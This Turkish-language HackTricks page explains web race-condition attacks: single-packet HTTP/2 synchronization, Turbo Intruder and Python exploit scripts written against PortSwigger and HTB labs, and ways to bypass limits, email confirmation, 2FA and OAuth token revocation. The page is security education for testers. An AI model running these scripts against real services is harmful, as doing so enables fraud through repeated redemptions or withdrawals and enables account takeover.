Race Condition

Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın. Bugün Erişim Alın:

HackTricks'i Destekleyin

Bu tekniği derinlemesine anlamak için orijinal raporu https://portswigger.net/research/smashing-the-state-machine adresinde kontrol edin.

Race Condition Saldırılarını Geliştirme

Race condition'ları avantaja çevirmenin ana engeli, birden fazla isteğin işleme sürelerinde çok az farkla—idealde, 1ms'den az—aynı anda işlenmesini sağlamaktır.

İstekleri Senkronize Etmek için bazı teknikler burada bulunmaktadır:

HTTP/2 Tek-Paket Saldırısı vs. HTTP/1.1 Son-Bayt Senkronizasyonu

  • HTTP/2: Tek bir TCP bağlantısı üzerinden iki isteğin gönderilmesini destekler, ağ jitter etkisini azaltır. Ancak, sunucu tarafındaki varyasyonlar nedeniyle, iki istek tutarlı bir race condition istismarına yeterli olmayabilir.

  • HTTP/1.1 'Son-Bayt Senkronizasyonu': 20-30 isteğin çoğu kısmının önceden gönderilmesini sağlar, küçük bir parçayı saklayarak, bu parça daha sonra birlikte gönderilir ve sunucuya eşzamanlı varış sağlanır.

Son-Bayt Senkronizasyonu için Hazırlık şunları içerir:

  1. Akışı sonlandırmadan son bayt hariç başlık ve gövde verilerini göndermek.

  2. İlk gönderimden sonra 100ms beklemek.

  3. Son çerçeveleri gruplamak için Nagle algoritmasını kullanmak üzere TCP_NODELAY'i devre dışı bırakmak.

  4. Bağlantıyı ısıtmak için ping atmak.

Saklanan çerçevelerin sonraki gönderimi, Wireshark ile doğrulanabilir şekilde tek bir pakette varış sağlamalıdır. Bu yöntem, genellikle RC saldırılarında yer almayan statik dosyalara uygulanmaz.

Sunucu Mimarisine Uyum Sağlama

Hedefin mimarisini anlamak çok önemlidir. Ön uç sunucular, istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önleyici sunucu tarafı bağlantı ısıtma, önemsiz istekler aracılığıyla istek zamanlamasını normalleştirebilir.

Oturum Tabanlı Kilitlemeyi Yönetme

PHP'nin oturum yöneticisi gibi çerçeveler, istekleri oturum bazında serileştirir ve potansiyel olarak zafiyetleri gizleyebilir. Her istek için farklı oturum jetonları kullanmak bu sorunu aşabilir.

Hız veya Kaynak Sınırlamalarını Aşma

Bağlantı ısıtma etkili değilse, web sunucularının hız veya kaynak limit gecikmelerini kasıtlı olarak bir dizi sahte istekle tetiklemek, sunucu tarafında race condition'lara uygun bir gecikme oluşturarak tek paket saldırısını kolaylaştırabilir.

Saldırı Örnekleri

  • Tubo Intruder - HTTP2 tek-paket saldırısı (1 uç nokta): İsteği Turbo intruder'a (Extensions -> Turbo Intruder -> Send to Turbo Intruder) gönderebilirsiniz, istekte %s için brute force yapmak istediğiniz değeri değiştirebilirsiniz, örneğin csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s ve ardından açılır menüden examples/race-single-packer-attack.py'yi seçin:

Farklı değerler gönderecekseniz, panodan bir kelime listesi kullanan bu kodla kodu değiştirebilirsiniz:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

Eğer web HTTP2'yi desteklemiyorsa (sadece HTTP1.1) Engine.BURP2 yerine Engine.THREADED veya Engine.BURP kullanın.

  • Tubo Intruder - HTTP2 tek paketli saldırı (Birçok uç nokta): Eğer 1 uç noktaya bir istek göndermeniz ve ardından RCE'yi tetiklemek için diğer uç noktalara birden fazla istek göndermeniz gerekiyorsa, race-single-packet-attack.py scriptini şu şekilde değiştirebilirsiniz:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Ayrıca Burp Suite'teki yeni 'Grupları paralel gönder' seçeneği aracılığıyla Repeater'da da mevcuttur.

  • Limit-aşımı için gruba aynı isteği 50 kez ekleyebilirsiniz.

  • Bağlantı ısınması için grubun başına web sunucusunun bazı statik olmayan kısımlarına istekler ekleyebilirsiniz.

  • Bir isteği işleme ile diğerini işleme arasında süreci geciktirmek için, her iki isteğin arasına ekstra istekler ekleyebilirsiniz.

  • Çoklu uç nokta RC için, gizli duruma giden isteği göndermeye başlayabilir ve ardından gizli durumu istismar eden 50 isteği hemen arkasından gönderebilirsiniz.

  • Otomatik python scripti: Bu scriptin amacı, bir kullanıcının e-posta adresini değiştirirken sürekli olarak doğrulamak ve yeni e-posta adresinin doğrulama token'ı son e-posta adresine ulaşana kadar bunu yapmaktır (bu, kodda bir e-posta adresinin değiştirilip doğrulamanın eski adrese gönderilebildiği bir RC görüldüğü içindir çünkü e-posta adresini gösteren değişken zaten ilk e-posta ile doldurulmuştu). "objetivo" kelimesi alınan e-postalarda bulunduğunda, değiştirilmiş e-posta adresinin doğrulama token'ını aldığımızı biliyoruz ve saldırıyı sonlandırıyoruz.

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Tek Paket Saldırısını Geliştirme

Orijinal araştırmada bu saldırının 1,500 baytlık bir sınırı olduğu açıklanmıştır. Ancak, bu yazıda tek paket saldırısının 1,500 baytlık sınırlamasını IP katmanı parçalama (tek bir paketi birden fazla IP paketine bölme) kullanarak TCP'nin 65,535 B pencere sınırlamasına nasıl genişletilebileceği açıklanmıştır ve bunların farklı bir sırayla gönderilmesi, tüm parçalar sunucuya ulaşana kadar paketin yeniden birleştirilmesini engellemiştir. Bu teknik, araştırmacının yaklaşık 166ms içinde 10,000 istek göndermesine olanak tanımıştır.

Bu iyileştirmenin, aynı anda yüzlerce/binlerce paketin ulaşmasını gerektiren RC'de saldırıyı daha güvenilir hale getirdiğini unutmayın, ancak bazı yazılım sınırlamaları da olabilir. Apache, Nginx ve Go gibi bazı popüler HTTP sunucuları, SETTINGS_MAX_CONCURRENT_STREAMS ayarını sırasıyla 100, 128 ve 250 olarak belirlemiştir. Ancak, NodeJS ve nghttp2 gibi diğerleri sınırsızdır. Bu, temelde Apache'nin tek bir TCP bağlantısından yalnızca 100 HTTP bağlantısını dikkate alacağı anlamına gelir (bu RC saldırısını sınırlayarak).

Bu tekniği kullanan bazı örnekleri https://github.com/Ry0taK/first-sequence-sync/tree/main reposunda bulabilirsiniz.

Ham BF

Önceki araştırmadan önce, sadece paketleri mümkün olduğunca hızlı göndermeye çalışan bazı yükler kullanılıyordu.

  • Tekrar Edici: Önceki bölümden örneklere bakın.

  • Saldırgan: İsteği Saldırgana gönderin, Seçenekler menüsünde iş parçacığı sayısını 30 olarak ayarlayın ve yük olarak Null yükleri seçin ve 30 oluşturun.

  • Turbo Saldırgan

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodolojisi

Limit-aşımı / TOCTOU

Bu, hareketi gerçekleştirebileceğiniz zaman sayısını sınırlayan yerlerde görünmeye başlayan zayıflıkların bulunduğu en temel yarış durumu türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek bu raporda veya bu hatada** bulunabilir.**

Bu tür saldırının birçok varyasyonu vardır, bunlar arasında:

  • Bir hediye kartını birden fazla kez kullanma

  • Bir ürünü birden fazla kez değerlendirme

  • Hesap bakiyenizden fazla nakit çekme veya transfer etme

  • Tek bir CAPTCHA çözümünü yeniden kullanma

  • Bir anti-brute-force hız limitini aşma

Gizli alt durumlar

Karmaşık yarış durumlarını istismar etmek genellikle gizli veya istenmeyen makine alt durumlarıyla etkileşimde bulunmak için kısa fırsatları değerlendirmeyi içerir. İşte buna yaklaşmanın yolu:

  1. Potansiyel Gizli Alt Durumları Belirleyin

  • Kullanıcı profilleri veya şifre sıfırlama süreçleri gibi kritik verileri değiştiren veya bunlarla etkileşime giren uç noktaları belirleyerek başlayın. Şuna odaklanın:

  • Depolama: Sunucu tarafında kalıcı verileri manipüle eden uç noktaları, istemci tarafında veri işleyenlerden daha fazla tercih edin.

  • Eylem: Mevcut verileri değiştiren işlemleri arayın; bunlar yeni veri ekleyenlere göre istismar edilebilir koşullar yaratma olasılığı daha yüksektir.

  • Anahtar: Başarılı saldırılar genellikle aynı tanımlayıcıya dayanan işlemleri içerir, örneğin, kullanıcı adı veya sıfırlama belirteci.

  1. İlk Kez Test Yapın

  • Belirlenen uç noktaları yarış durumu saldırılarıyla test edin, beklenen sonuçlardan herhangi bir sapma olup olmadığını gözlemleyin. Beklenmedik yanıtlar veya uygulama davranışındaki değişiklikler bir zayıflığın sinyalini verebilir.

  1. Zayıflığı Gösterin

  • Zayıflığı istismar etmek için gereken en az istek sayısını daraltın, genellikle sadece iki. Bu adım, hassas zamanlama gerektirdiğinden birden fazla deneme veya otomasyon gerektirebilir.

Zaman Hassas Saldırılar

İsteklerin zamanlamasındaki hassasiyet, özellikle güvenlik belirteçleri için tahmin edilebilir yöntemler (örneğin, zaman damgaları) kullanıldığında zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama belirteçleri oluşturmak, eşzamanlı istekler için aynı belirteçlerin oluşmasına neden olabilir.

İstismar Etmek İçin:

  • Eşzamanlı şifre sıfırlama istekleri yapmak için tek bir paket saldırısı gibi hassas zamanlama kullanın. Aynı belirteçler bir zayıflığın göstergesidir.

Örnek:

  • Aynı anda iki şifre sıfırlama belirteci isteyin ve bunları karşılaştırın. Eşleşen belirteçler, belirteç oluşturma sürecinde bir hatayı işaret eder.

Bunu denemek için PortSwigger Lab kontrol edin.

Gizli alt durumlar vaka çalışmaları

Ödeme & Bir Ürün Ekle

Bunu görmek için PortSwigger Lab kontrol edin, nasıl ödeme yapacağınızı ve ekstra bir ürünü ödemeden ekleyeceğinizi öğrenin.

Diğer e-postaları onayla

Amaç, bir e-posta adresini doğrulamak ve aynı anda farklı birine değiştirmek; böylece platformun yeni değiştirilen e-postayı doğrulayıp doğrulamadığını öğrenmektir.

E-postayı 2 e-posta adresine değiştir

Bu araştırmaya göre, Gitlab bu şekilde bir ele geçirmeye karşı savunmasızdı çünkü bir e-posta için e-posta doğrulama belirtecini diğer e-postaya gönderebilir.

Bunu denemek için PortSwigger Lab kontrol edin.

Gizli Veritabanı durumları / Onay Atlama

Eğer 2 farklı yazma işlemi veri eklemek için kullanılıyorsa, veritabanına yalnızca ilk verinin yazıldığı küçük bir zaman dilimi vardır. Örneğin, bir kullanıcı oluştururken kullanıcı adı ve şifre yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için belirteç yazılabilir. Bu, bir hesabı onaylamak için belirtecin null olduğu küçük bir zaman dilimi olduğu anlamına gelir.

Bu nedenle, bir hesap kaydetmek ve hemen onaylamak için boş bir belirteçle (token= veya token[]= veya başka bir varyasyon) birkaç istek göndermek, e-posta kontrolünüz olmayan bir hesabı onaylamanıza olanak tanıyabilir.

Bunu denemek için PortSwigger Lab kontrol edin.

2FA'yı Atlama

Aşağıdaki pseudo-kod, çok kısa bir süre içinde 2FA'nın uygulanmadığı için yarış durumuna karşı savunmasızdır; bu süre zarfında oturum oluşturulmaktadır:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 sonsuz kalıcılık

Birçok OAUth sağlayıcısı bulunmaktadır. Bu hizmetler, bir uygulama oluşturmanıza ve sağlayıcının kaydettiği kullanıcıları kimlik doğrulamanıza olanak tanır. Bunu yapmak için, istemci uygulamanıza OAUth sağlayıcısı içindeki bazı verilerine erişim izni vermelidir. Buraya kadar, sadece bir google/linkedin/github... ile giriş yapma durumu var; karşınıza "Uygulama <InsertCoolName> bilgilerinize erişmek istiyor, izin vermek ister misiniz?" diyen bir sayfa çıkıyor.

authorization_code'da Yarış Durumu

Sorun, izin verdiğinizde ve otomatik olarak kötü niyetli uygulamaya bir authorization_code gönderdiğinizde ortaya çıkar. Ardından, bu **uygulama, OAUth hizmet sağlayıcısındaki bir Yarış Durumunu kötüye kullanarak hesabınız için authorization_code'dan birden fazla AT/RT (Authentication Token/Refresh Token) üretir. Temelde, uygulamanın verilerinize erişim izni verdiğinizi kötüye kullanarak birden fazla hesap oluşturur. Sonrasında, eğer uygulamanın verilerinize erişim iznini durdurursanız, bir çift AT/RT silinecek, ancak diğerleri geçerli kalacaktır.

Refresh Token'da Yarış Durumu

Bir geçerli RT elde ettiğinizde, birden fazla AT/RT üretmek için bunu kötüye kullanmayı deneyebilirsiniz ve kullanıcı kötü niyetli uygulamanın verilerine erişim izinlerini iptal etse bile, birden fazla RT hala geçerli olacaktır.

WebSockets'te RC

WS_RaceCondition_PoC içinde, Yarış Durumlarını Web Sockets'te de kötüye kullanmak için websocket mesajlarını paralel olarak gönderen bir PoC bulabilirsiniz.

Referanslar

HackTricks'i Destekleyin

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

Last updated